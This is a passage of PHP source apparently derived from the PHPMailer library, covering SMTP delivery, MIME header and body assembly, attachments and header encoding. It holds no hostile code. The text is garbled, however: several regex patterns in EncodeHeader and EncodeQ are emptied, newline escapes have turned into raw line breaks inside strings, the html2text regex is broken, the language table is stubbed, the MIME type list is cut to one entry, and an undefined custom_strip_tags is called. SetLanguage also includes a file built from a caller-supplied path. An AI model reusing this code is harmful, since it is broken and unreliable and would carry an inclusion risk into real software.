$isSent = 1;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
}
}
foreach($this->bcc as $bcc) {
if (!$this->smtp->Recipient($bcc[0])) {
$bad_rcpt[] = $bcc[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
} else {
// implement call back function if it exists
$isSent = 1;
$this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body);
}
}
if (count($bad_rcpt) > 0 ) { //Create error message for any bad addresses
$badaddresses = implode(', ', $bad_rcpt);
throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses);
}
if(!$this->smtp->Data($header . $body)) {
throw new phpmailerException($this->Lang('data_not_accepted'), self::STOP_CRITICAL);
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->smtp->Quit();
$this->smtp->Close();
}
return true;
}
public function SmtpConnect($options = array()) {
if(is_null($this->smtp)) {
$this->smtp = new SMTP;
}
//Already connected?
if ($this->smtp->Connected()) {
return true;
}
$this->smtp->Timeout = $this->Timeout;
$this->smtp->do_debug = $this->SMTPDebug;
$this->smtp->Debugoutput = $this->Debugoutput;
$this->smtp->do_verp = $this->do_verp;
$index = 0;
$tls = ($this->SMTPSecure == 'tls');
$ssl = ($this->SMTPSecure == 'ssl');
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
$host = $hostentry;
$port = $this->Port;
if (preg_match('/^(.+):([0-9]+)$/', $hostentry, $hostinfo)) { //If $hostentry contains 'address:port', override default
$host = $hostinfo[1];
$port = $hostinfo[2];
}
if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->ServerHostname();
}
$this->smtp->Hello($hello);
if ($tls) {
if (!$this->smtp->StartTLS()) {
throw new phpmailerException($this->Lang('connect_host'));
}
//We must resend HELO after tls negotiation
$this->smtp->Hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
throw new phpmailerException($this->Lang('authenticate'));
}
}
return true;
} catch (phpmailerException $e) {
$lastexception = $e;
//We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->Quit();
}
}
}
//If we get here, all connection attempts have failed, so close connection hard
$this->smtp->Close();
//As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
public function SmtpClose() {
if ($this->smtp !== null) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
function SetLanguage($langcode = 'en', $lang_path = 'language/') {
$PHPMAILER_LANG = array(
'authenticate' => 'authenticate',
'connect_host' => 'connect_host',
'data_not_accepted' => 'data_not_accepted',
'empty_message' => 'empty_message',
'encoding' => 'encoding ',
'execute' => 'execute',
'file_access' => 'file_access',
'file_open' => 'file_open',
'from_failed' => 'from_failed',
'instantiate' => 'instantiate',
'invalid_address' => 'invalid_address',
'mailer_not_supported' => 'mailer_not_supported',
'provide_address' => 'provide_address',
'recipients_failed' => 'recipients_failed',
'signing' => 'signing',
'smtp_connect_failed' => 'smtp_connect_failed',
'smtp_error' => 'smtp_error',
'variable_set' => 'variable_set'
);
$l = true;
if ($langcode != 'en') { //There is no English translation file
$l = @include $lang_path.'phpmailer.lang-'.$langcode.'.php';
}
$this->language = $PHPMAILER_LANG;
return ($l == true); //Returns false if language not found
}
public function GetTranslations() {
return $this->language;
}
public function AddrAppend($type, $addr) {
$addr_str = $type . ': ';
$addresses = array();
foreach ($addr as $a) {
$addresses[] = $this->AddrFormat($a);
}
$addr_str .= implode(', ', $addresses);
$addr_str .= $this->LE;
return $addr_str;
}
public function AddrFormat($addr) {
if (empty($addr[1])) {
return $this->SecureHeader($addr[0]);
} else {
return $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
}
}
public function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->FixEOL($message);
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
$line = explode($this->LE, $message);
$message = '';
for ($i = 0 ;$i < count($line); $i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0; $e<count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf("=%s", self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . self::CRLF;
}
return $message;
}
public function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
$foundSplitPos = true;
}
}
return $maxLength;
}
public function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
public function CreateHeader() {
$result = '';
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$this->boundary[3] = 'b3_' . $uniq_id;
if ($this->MessageDate == '') {
$result .= $this->HeaderLine('Date', self::RFCDate());
} else {
$result .= $this->HeaderLine('Date', $this->MessageDate);
}
if ($this->ReturnPath) {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->ReturnPath).'>');
} elseif ($this->Sender == '') {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->From).'>');
} else {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->Sender).'>');
}
if($this->Mailer != 'mail') {
if ($this->SingleTo === true) {
foreach($this->to as $t) {
$this->SingleToArray[] = $this->AddrFormat($t);
}
} else {
if(count($this->to) > 0) {
$result .= $this->AddrAppend('To', $this->to);
} elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
}
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend('From', $from);
if(count($this->cc) > 0) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend('Bcc', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if($this->Mailer != 'mail') {
$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != '') {
$result .= $this->HeaderLine('Message-ID', $this->MessageID);
} else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine('X-Priority', $this->Priority);
if ($this->XMailer == '') {
$result .= $this->HeaderLine('X-Mailer', 'PHPMailer '.$this->Version.' (https://github.com/PHPMailer/PHPMailer/)');
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->HeaderLine('X-Mailer', $myXmailer);
}
}
if($this->ConfirmReadingTo != '') {
$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers
for($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine('MIME-Version', '1.0');
$result .= $this->GetMailMIME();
}
return $result;
}
public function GetMailMIME() {
$result = '';
switch($this->message_type) {
case 'inline':
$result .= $this->HeaderLine('Content-Type', 'multipart/related;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1].'"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1].'"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1].'"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->TextLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet);
break;
}
//RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
}
if($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
public function GetSentMIMEMessage() {
return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
}
public function CreateBody() {
$body = '';
if ($this->sign_key_file) {
$body .= $this->GetMailMIME().$this->LE;
}
$this->SetWordWrap();
switch($this->message_type) {
case 'inline':
$body .= $this->GetBoundary($this->boundary[1], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $this->GetBoundary($this->boundary[1], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine(" boundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
if(!empty($this->Ical)) {
$body .= $this->GetBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->EncodeString($this->Ical, $this->Encoding);
$body .= $this->LE.$this->LE;
}
$body .= $this->EndBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine(" boundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->EndBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$body .= $this->TextLine(" boundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->EndBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$body .= $this->TextLine(" boundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->TextLine('--' . $this->boundary[2]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine(" boundary=\"" . $this->boundary[3].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[3], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->EndBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
default:
// catch case 'plain' and case ''
$body .= $this->EncodeString($this->Body, $this->Encoding);
break;
}
if ($this->IsError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->Lang('signing').' OpenSSL extension missing.');
}
$file = tempnam(sys_get_temp_dir(), 'mail');
file_put_contents($file, $body); //TODO check this worked
$signed = tempnam(sys_get_temp_dir(), 'signed');
if (@openssl_pkcs7_sign($file, $signed, 'file://'.realpath($this->sign_cert_file), array('file://'.realpath($this->sign_key_file), $this->sign_key_pass), null)) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->Lang('signing').openssl_error_string());
}
} catch (phpmailerException $e) {
$body = '';
if ($this->exceptions) {
throw $e;
}
}
}
return $body;
}
protected function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = '';
if($charSet == '') {
$charSet = $this->CharSet;
}
if($contentType == '') {
$contentType = $this->ContentType;
}
if($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine('--' . $boundary);
$result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
$result .= $this->LE;
return $result;
}
protected function EndBoundary($boundary) {
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
protected function SetMessageType() {
$this->message_type = array();
if($this->AlternativeExists()) $this->message_type[] = "alt";
if($this->InlineImageExists()) $this->message_type[] = "inline";
if($this->AttachmentExists()) $this->message_type[] = "attach";
$this->message_type = implode("_", $this->message_type);
if($this->message_type == "") $this->message_type = "plain";
}
public function HeaderLine($name, $value) {
return $name . ': ' . $value . $this->LE;
}
public function TextLine($value) {
return $value . $this->LE;
}
public function AddAttachment($path, $name = '', $encoding = 'base64', $type = '') {
try {
if ( !@is_file($path) ) {
throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE);
}
//If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ( $name == '' ) {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => 'attachment',
7 => 0
);
} catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
if ($this->SMTPDebug) {
$this->edebug($e->getMessage()."
");
}
return false;
}
return true;
}
public function GetAttachments() {
return $this->attachment;
}
protected function AttachAll($disposition_type, $boundary) {
$mime = array();
$cidUniq = array();
$incl = array();
foreach ($this->attachment as $attachment) {
if($attachment[6] == $disposition_type) {
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) { continue; }
$incl[] = $inclhash;
$filename = $attachment[1];
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ( $disposition == 'inline' && isset($cidUniq[$cid]) ) { continue; }
$cidUniq[$cid] = true;
$mime[] = sprintf("--%s%s", $boundary, $this->LE);
$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == 'inline') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $name)) {
$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
} else {
$mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
}
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
} else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
}
}
$mime[] = sprintf("--%s--%s", $boundary, $this->LE);
return implode("", $mime);
}
protected function EncodeFile($path, $encoding = 'base64') {
try {
if (!is_readable($path)) {
throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(0);
} else {
ini_set('magic_quotes_runtime', 0);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->EncodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $e) {
$this->SetError($e->getMessage());
return '';
}
}
public function EncodeString($str, $encoding = 'base64') {
$encoded = '';
switch(strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->FixEOL($str);
//Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE)
$encoded .= $this->LE;
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->EncodeQP($str);
break;
default:
$this->SetError($this->Lang('encoding') . $encoding);
break;
}
return $encoded;
}
public function EncodeHeader($str, $position = 'text') {
$x = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
case 'comment':
$x = preg_match_all('/[()"]/', $str, $matches);
case 'text':
default:
$x += preg_match_all('/[---]/', $str, $matches);
break;
}
if ($x == 0) { //There are no chars that need encoding
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
if ($x > strlen($str)/3) { //More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
$encoded = $this->Base64EncodeWrapMB($str, "
");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace('='.self::CRLF, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
public function HasMultiBytes($str) {
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else {
return false;
}
}
public function Base64EncodeWrapMB($str, $lf=null) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
if ($lf === null) {
$lf = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
$length = 75 - strlen($start) - strlen($end);
$ratio = $mb_length / strlen($str);
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $lf;
}
$encoded = substr($encoded, 0, -strlen($lf));
return $encoded;
}
public function EncodeQP($string, $line_max = 76) {
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
$string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
=2E", "
", '='), rawurlencode($string));
$string = preg_replace('/[^
]{'.($line_max - 3).'}[^=
]{2}/', "$0=
", $string);
return $string;
}
public function EncodeQPphp($string, $line_max = 76, $space_conv = false) {
return $this->EncodeQP($string, $line_max);
}
public function EncodeQ($str, $position = 'text') {
$pattern = '';
$encoded = str_replace(array("
", "
"), '', $str);
switch (strtolower($position)) {
case 'phrase':
$pattern = '^A-Za-z0-9!*+\/ -';
break;
case 'comment':
$pattern = '\(\)"';
case 'text':
default:
$pattern = '=- -?_-' . $pattern;
break;
}
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
return str_replace(' ', '_', $encoded);
}
public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = '') {
if ($type == '') {
$type = self::filenameToType($filename);
}
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => 'attachment',
7 => 0
);
}
public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '') {
if ( !@is_file($path) ) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ( $name == '' ) {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => 'inline',
7 => $cid
);
return true;
}
public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '') {
if ($type == '') {
$type = self::filenameToType($name);
}
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => 'inline',
7 => $cid
);
return true;
}
public function InlineImageExists() {
foreach($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
public function AttachmentExists() {
foreach($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
public function AlternativeExists() {
return !empty($this->AltBody);
}
public function ClearAddresses() {
foreach($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
}
public function ClearCCs() {
foreach($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
}
public function ClearBCCs() {
foreach($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
}
public function ClearReplyTos() {
$this->ReplyTo = array();
}
public function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
}
public function ClearAttachments() {
$this->attachment = array();
}
public function ClearCustomHeaders() {
$this->CustomHeader = array();
}
protected function SetError($msg) {
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
$msg .= '<p>' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . "</p>
";
}
}
$this->ErrorInfo = $msg;
}
public static function RFCDate() {
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
protected function ServerHostname() {
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} else {
$result = 'localhost.localdomain';
}
return $result;
}
protected function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage('en'); // set the default language
}
if(isset($this->language[$key])) {
return $this->language[$key];
} else {
return 'Language string failed to load: ' . $key;
}
}
public function IsError() {
return ($this->error_count > 0);
}
public function FixEOL($str) {
$nstr = str_replace(array("
", "
"), "
", $str);
if ($this->LE !== "
") {
$nstr = str_replace("
", $this->LE, $nstr);
}
return $nstr;
}
public function AddCustomHeader($name, $value=null) {
if ($value === null) {
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
public function MsgHTML($message, $basedir = '', $advanced = false) {
preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images);
if (isset($images[2])) {
foreach ($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax)
if (!preg_match('#^[A-z]+://#', $url)) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url).'@phpmailer.0'; //RFC2392 S 2
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
$basedir .= '/';
}
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->AddEmbeddedImage($basedir.$directory.$filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
$message = preg_replace("/".$images[1][$i]."=[\"']".preg_quote($url, '/')."[\"']/Ui", $images[1][$i]."=\"cid:".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
if (empty($this->AltBody)) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "
";
}
$this->Body = $this->NormalizeBreaks($message);
$this->AltBody = $this->NormalizeBreaks($this->html2text($message, $advanced));
return $this->Body;
}
public function html2text($html, $advanced = false) {
if ($advanced) {
//require_once 'extras/class.html2text.php';
$h = new html2text($html);
return $h->get_text();
}
return html_entity_decode(trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
}
public static function _mime_types($ext = '') {
$mimes = array(
'zip' => 'application/zip',
);
return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
}
public static function filenameToType($filename) {
$qpos = strpos($filename, '?');
if ($qpos !== false) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
public static function mb_pathinfo($path, $options = null) {
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$m = array();
preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $m);
if(array_key_exists(1, $m)) {
$ret['dirname'] = $m[1];
}
if(array_key_exists(2, $m)) {
$ret['basename'] = $m[2];
}
if(array_key_exists(5, $m)) {
$ret['extension'] = $m[5];
}
if(array_key_exists(3, $m)) {
$ret['filename'] = $m[3];
}
switch($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
break;
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
break;
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
break;
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
break;
default:
return $ret;
}
}
public function set($name, $value = '') {
try {
if (isset($this->$name) ) {
$this->$name = $value;
} else {
throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL);
}
} catch (Exception $e) {
$this->SetError($e->getMessage());
if ($e->getCode() == self::STOP_CRITICAL) {
return false;
}
}
return true;
}
public function SecureHeader($str) {
